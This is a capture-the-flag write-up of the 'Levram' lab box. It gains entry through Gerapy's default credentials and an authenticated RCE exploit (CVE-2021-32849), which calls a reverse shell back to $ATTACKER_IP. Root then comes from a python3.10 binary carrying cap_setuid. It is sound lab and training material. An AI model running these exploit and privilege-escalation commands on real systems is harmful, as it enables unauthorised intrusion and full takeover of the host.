Levram Writeup - Proving Grounds

Easy Linux

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

The Husky Hacker

sysadmin

Levram runs Gerapy v0.9.7 on port 8000 with the default admin credentials. That version is vulnerable to CVE-2021-32849, an authenticated remote code execution that gives a shell as the app user. The python3.10 binary carries the cap_setuid capability, which lets it set UID 0 for root.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]

└─$ sudo nmap -p- -sCV $TARGET_IP

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu
8000/tcp open  http    Gerapy

Explain command

-p-	Scan all 65535 TCP ports.
-sCV	Run the default scripts and probe service versions.

Port 8000 runs Gerapy, a Scrapy-based crawler management platform. The login accepts admin:admin, and the footer shows version v0.9.7, which is vulnerable to CVE-2021-32849.

Exploitation

Gerapy authenticated RCE (CVE-2021-32849)

A public exploit abuses the project build feature to run commands. Confirm execution with id, then pass a base64 reverse shell as the command.

┌──(kali㉿kali)-[~]

└─$ python3 CVE-2021-32849.py -u http://$TARGET_IP:8000 -U admin -P admin -r $ATTACKER_IP -p $ATTACKER_PORT -c id

Explain command

-u	Gerapy URL.
-U / -P	Gerapy credentials.
-r / -p	Attacker IP and port for the callback.
-c	Command to run on the target.

Rerun with a base64-encoded reverse shell as the command and catch it on a listener. The shell lands as the app user. Enumerate file capabilities.

Privilege Escalation

python cap_setuid

Search the filesystem for binaries with capabilities.

┌──(kali㉿kali)-[~]

└─$ getcap -r / 2>/dev/null

/usr/bin/python3.10 cap_setuid=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep

Explain command

-r	Search recursively.

/usr/bin/python3.10 has cap_setuid=ep, so it can set its UID to 0. Use it to drop into a root shell.

┌──(kali㉿kali)-[~]

└─$ /usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'

app@ubuntu:~/gerapy$ /usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@ubuntu:~/gerapy# id
uid=0(root) gid=1000(app) groups=1000(app)

The cap_setuid capability lets python become root, giving a root shell. The /etc/systemd/system/app.service unit file also leaks the root password in a comment as an alternative path.